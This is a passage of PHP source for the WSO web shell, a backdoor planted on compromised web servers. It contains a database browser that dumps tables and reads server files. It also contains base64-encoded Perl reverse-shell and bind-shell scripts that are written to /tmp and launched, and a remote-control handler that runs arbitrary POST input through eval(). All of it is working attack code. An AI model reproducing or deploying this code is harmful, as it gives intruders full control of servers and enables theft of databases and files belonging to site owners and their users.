1259
                    $head = true;
1260
					while($item = $this->fetch()) {
1261
                        $sql = '';
1262
                        if($i % 1000 == 0) {
1263
                            $head = true;
1264
                            $sql = ";\n\n";
1265
                        }
1266
1267
						$columns = array();
1268
						foreach($item as $k=>$v) {
1269
                            if($v === null)
1270
                                $item[$k] = "NULL";
1271
                            elseif(is_int($v))
1272
                                $item[$k] = $v;
1273
                            else
1274
                                $item[$k] = "'".@mysql_real_escape_string($v)."'";
1275
							$columns[] = "`".$k."`";
1276
						}
1277
                        if($head) {
1278
                            $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
1279
                            $head = false;
1280
                        } else
1281
                            $sql .= "\n\t,(".implode(", ", $item).')';
1282
                        if($fp) fwrite($fp, $sql); else echo($sql);
1283
                        $i++;
1284
					}
1285
                    if(!$head)
1286
                        if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
1287
				break;
1288
				case 'pgsql':
1289
					$this->query('SELECT * FROM '.$table);
1290
					while($item = $this->fetch()) {
1291
						$columns = array();
1292
						foreach($item as $k=>$v) {
1293
							$item[$k] = "'".addslashes($v)."'";
1294
							$columns[] = $k;
1295
						}
1296
                        $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1297
                        if($fp) fwrite($fp, $sql); else echo($sql);
1298
					}
1299
				break;
1300
			}
1301
			return false;
1302
		}
1303
	};
1304
	$db = new DbClass($_POST['type']);
1305
	if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
1306
		$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1307
		$db->selectdb($_POST['sql_base']);
1308
        switch($_POST['charset']) {
1309
            case "Windows-1251": $db->setCharset('cp1251'); break;
1310
            case "UTF-8": $db->setCharset('utf8'); break;
1311
            case "KOI8-R": $db->setCharset('koi8r'); break;
1312
            case "KOI8-U": $db->setCharset('koi8u'); break;
1313
            case "cp866": $db->setCharset('cp866'); break;
1314
        }
1315
        if(empty($_POST['file'])) {
1316
            ob_start("ob_gzhandler", 4096);
1317
            header("Content-Disposition: attachment; filename=dump.sql");
1318
            header("Content-Type: text/plain");
1319
            foreach($_POST['tbl'] as $v)
1320
				$db->dump($v);
1321
            exit;
1322
        } elseif($fp = @fopen($_POST['file'], 'w')) {
1323
            foreach($_POST['tbl'] as $v)
1324
                $db->dump($v, $fp);
1325
            fclose($fp);
1326
            unset($_POST['p2']);
1327
        } else
1328
            die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1329
	}
1330
	wsoHeader();
1331
	echo "
1332
<h1>Sql browser</h1><div class=content>
1333
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1334
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1335
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
1336
<td><select name='type'><option value='mysql' ";
1337
    if(@$_POST['type']=='mysql')echo 'selected';
1338
echo ">MySql</option><option value='pgsql' ";
1339
if(@$_POST['type']=='pgsql')echo 'selected';
1340
echo ">PostgreSql</option></select></td>
1341
<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
1342
<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
1343
<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
1344
	$tmp = "<input type=text name=sql_base value=''>";
1345
	if(isset($_POST['sql_host'])){
1346
		if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1347
			switch($_POST['charset']) {
1348
				case "Windows-1251": $db->setCharset('cp1251'); break;
1349
				case "UTF-8": $db->setCharset('utf8'); break;
1350
				case "KOI8-R": $db->setCharset('koi8r'); break;
1351
				case "KOI8-U": $db->setCharset('koi8u'); break;
1352
				case "cp866": $db->setCharset('cp866'); break;
1353
			}
1354
			$db->listDbs();
1355
			echo "<select name=sql_base><option value=''></option>";
1356
			while($item = $db->fetch()) {
1357
				list($key, $value) = each($item);
1358
				echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1359
			}
1360
			echo '</select>';
1361
		}
1362
		else echo $tmp;
1363
	}else
1364
		echo $tmp;
1365
	echo "</td>
1366
				<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1367
                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
1368
			</tr>
1369
		</table>
1370
		<script>
1371
            s_db='".@addslashes($_POST['sql_base'])."';
1372
            function fs(f) {
1373
                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1374
                    if(f.p1) f.p1.value='';
1375
                    if(f.p2) f.p2.value='';
1376
                    if(f.p3) f.p3.value='';
1377
                }
1378
            }
1379
			function st(t,l) {
1380
				d.sf.p1.value = 'select';
1381
				d.sf.p2.value = t;
1382
                if(l && d.sf.p3) d.sf.p3.value = l;
1383
				d.sf.submit();
1384
			}
1385
			function is() {
1386
				for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1387
					d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1388
			}
1389
		</script>";
1390
	if(isset($db) && $db->link){
1391
		echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1392
			if(!empty($_POST['sql_base'])){
1393
				$db->selectdb($_POST['sql_base']);
1394
				echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
1395
				$tbls_res = $db->listTables();
1396
				while($item = $db->fetch($tbls_res)) {
1397
					list($key, $value) = each($item);
1398
                    if(!empty($_POST['sql_count']))
1399
                        $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1400
					$value = htmlspecialchars($value);
1401
					echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
1402
				}
1403
				echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1404
				if(@$_POST['p1'] == 'select') {
1405
					$_POST['p1'] = 'query';
1406
                    $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
1407
					$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1408
					$num = $db->fetch();
1409
					$pages = ceil($num['n'] / 30);
1410
                    echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1411
                    echo " of $pages";
1412
                    if($_POST['p3'] > 1)
1413
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
1414
                    if($_POST['p3'] < $pages)
1415
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
1416
                    $_POST['p3']--;
1417
					if($_POST['type']=='pgsql')
1418
						$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1419
					else
1420
						$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1421
					echo "<br><br>";
1422
				}
1423
				if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
1424
					$db->query(@$_POST['p2']);
1425
					if($db->res !== false) {
1426
						$title = false;
1427
						echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1428
						$line = 1;
1429
						while($item = $db->fetch())	{
1430
							if(!$title)	{
1431
								echo '<tr>';
1432
								foreach($item as $key => $value)
1433
									echo '<th>'.$key.'</th>';
1434
								reset($item);
1435
								$title=true;
1436
								echo '</tr><tr>';
1437
								$line = 2;
1438
							}
1439
							echo '<tr class="l'.$line.'">';
1440
							$line = $line==1?2:1;
1441
							foreach($item as $key => $value) {
1442
								if($value == null)
1443
									echo '<td><i>null</i></td>';
1444
								else
1445
									echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1446
							}
1447
							echo '</tr>';
1448
						}
1449
						echo '</table>';
1450
					} else {
1451
						echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1452
					}
1453
				}
1454
				echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1455
                if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
1456
                    echo htmlspecialchars($_POST['p2']);
1457
                echo "</textarea><br/><input type=submit value='Execute'>";
1458
				echo "</td></tr>";
1459
			}
1460
			echo "</table></form><br/>";
1461
            if($_POST['type']=='mysql') {
1462
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1463
                if($db->fetch())
1464
                    echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1465
            }
1466
			if(@$_POST['p1'] == 'loadfile') {
1467
				$file = $db->loadFile($_POST['p2']);
1468
				echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1469
			}
1470
	} else {
1471
        echo htmlspecialchars($db->error());
1472
    }
1473
	echo '</div>';
1474
	wsoFooter();
1475
}
1476
function actionNetwork() {
1477
	wsoHeader();
1478
	$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1479
	$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1480
	echo "<h1>Network tools</h1><div class=content>
1481
	<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1482
	<span>Bind port to /bin/sh [perl]</span><br/>
1483
	Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1484
	</form>
1485
	<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1486
	<span>Back-connect  [perl]</span><br/>
1487
	Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1488
	</form><br>";
1489
	if(isset($_POST['p1'])) {
1490
		function cf($f,$t) {
1491
			$w = @fopen($f,"w") or @function_exists('file_put_contents');
1492
			if($w){
1493
				@fwrite($w,@base64_decode($t));
1494
				@fclose($w);
1495
			}
1496
		}
1497
		if($_POST['p1'] == 'bpp') {
1498
			cf("/tmp/bp.pl",$bind_port_p);
1499
			$out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
1500
            sleep(1);
1501
			echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1502
            unlink("/tmp/bp.pl");
1503
		}
1504
		if($_POST['p1'] == 'bcp') {
1505
			cf("/tmp/bc.pl",$back_connect_p);
1506
			$out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
1507
            sleep(1);
1508
			echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1509
            unlink("/tmp/bc.pl");
1510
		}
1511
	}
1512
	echo '</div>';
1513
	wsoFooter();
1514
}
1515
function actionRC() {
1516
	if(!@$_POST['p1']) {
1517
		$a = array(
1518
			"uname" => php_uname(),
1519
			"php_version" => phpversion(),
1520
			"wso_version" => WSO_VERSION,
1521
			"safemode" => @ini_get('safe_mode')
1522
		);
1523
		echo serialize($a);
1524
	} else {
1525
		eval($_POST['p1']);
1526
	}
1527
}
1528
if( empty($_POST['a']) )
1529
	if(isset($default_action) && function_exists('action' . $default_action))
1530
		$_POST['a'] = $default_action;
1531
	else
1532
		$_POST['a'] = 'SecInfo';
1533
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1534
	call_user_func('action' . $_POST['a']);
1535
exit;